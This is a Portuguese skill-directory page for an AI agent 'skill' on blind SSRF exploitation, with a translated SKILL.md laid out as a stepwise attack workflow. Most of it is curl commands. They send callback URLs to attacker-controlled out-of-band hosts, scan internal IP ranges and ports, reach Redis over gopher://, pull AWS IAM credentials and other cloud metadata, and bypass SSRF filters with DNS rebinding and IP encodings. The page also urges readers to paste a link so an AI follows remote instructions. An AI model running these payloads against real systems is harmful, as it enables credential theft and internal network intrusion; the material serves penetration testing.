Pular para o conteúdo
Skillpedia
Segurança35 mil · #6031

performing-blind-ssrf-exploitation

Ajuda seu agente a encontrar falhas de segurança 'cegas' em sites. Ele descobre se o site está enviando informações para locais inesperados.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas 'Blind SSRF'. Ela permite que um invasor faça com que um servidor acesse recursos internos ou na nuvem, mesmo que o servidor não mostre a resposta diretamente.

Quando usar

  • ✓Ao testar campos de formulário que aceitam URLs.
  • ✓Ao verificar funcionalidades que importam ou processam dados de links.
  • ✓Ao investigar sistemas que geram PDFs ou processam imagens a partir de URLs.

Exemplo do que pedir para a IA

“Tente encontrar uma falha SSRF cega no parâmetro 'url' desta página.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-blind-ssrf-exploitation/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-blind-ssrf-exploitation/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

Ela funciona enviando URLs especiais para o servidor alvo e observando se ele tenta se conectar a um servidor controlado pelo atacante. Isso é feito usando técnicas como DNS e requisições HTTP para detectar a comunicação.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-blind-ssrf-exploitation

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-blind-ssrf-exploitation/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Exploração de SSRF Cego

Quando Usar

  • Ao testar parâmetros de entrada de URL/webhook onde as respostas do lado do servidor não são refletidas
  • Durante a avaliação de aplicações que buscam recursos externos (avatares, pré-visualizações, importações)
  • Ao testar geradores de PDF, processadores de imagem ou conversores de documentos para SSRF
  • Durante avaliações de segurança em nuvem para detectar acesso a endpoints de metadados
  • Ao avaliar a funcionalidade de webhook e implementações de validação de URL

Pré-requisitos

  • Burp Suite Professional com Burp Collaborator para detecção OOB
  • interact.sh ou webhook.site para monitoramento de callback externo
  • Compreensão de vetores de ataque SSRF e enumeração de rede interna
  • Conhecimento de endpoints de metadados em nuvem (AWS, GCP, Azure)
  • VPS ou servidor controlado para tratamento avançado de callback de exploração
  • Python com a biblioteca requests para scripts de automação

Fluxo de Trabalho

Passo 1 — Identificar Pontos de Entrada de SSRF Cego

# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Passo 2 — Confirmar SSRF Cego com Detecção Out-of-Band

# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

Passo 3 — Enumerar Rede Interna

# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

Passo 4 — Acessar Endpoints de Metadados em Nuvem

# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

Passo 5 — Contornar Filtros de SSRF

# Contorno de representação de IP
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex

…
Perguntas frequentes

O que é 'Blind SSRF'?

É uma falha onde o servidor faz uma requisição para um link que você fornece, mas não mostra o resultado dessa requisição diretamente para você. O atacante precisa de métodos indiretos para saber se a requisição funcionou.

O que é 'Burp Collaborator'?

É uma ferramenta que ajuda a detectar essas requisições. Ela cria um endereço único que o servidor alvo pode tentar acessar, e o Burp Collaborator avisa o atacante quando isso acontece.

Para que servem os comandos `curl`?

São exemplos de como usar ferramentas de linha de comando para enviar as requisições de teste para o servidor alvo e verificar as respostas.

Detalhes

Descrição original do autor

Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band techniques such as Burp Collaborator DNS interactions and timing analysis, to reach internal services and cloud metadata endpoints even when server responses are not reflected. Use when testing URL/webhook parameters, PDF generators, image processors, or import/preview features where SSRF output cannot be observed direct

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6031
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas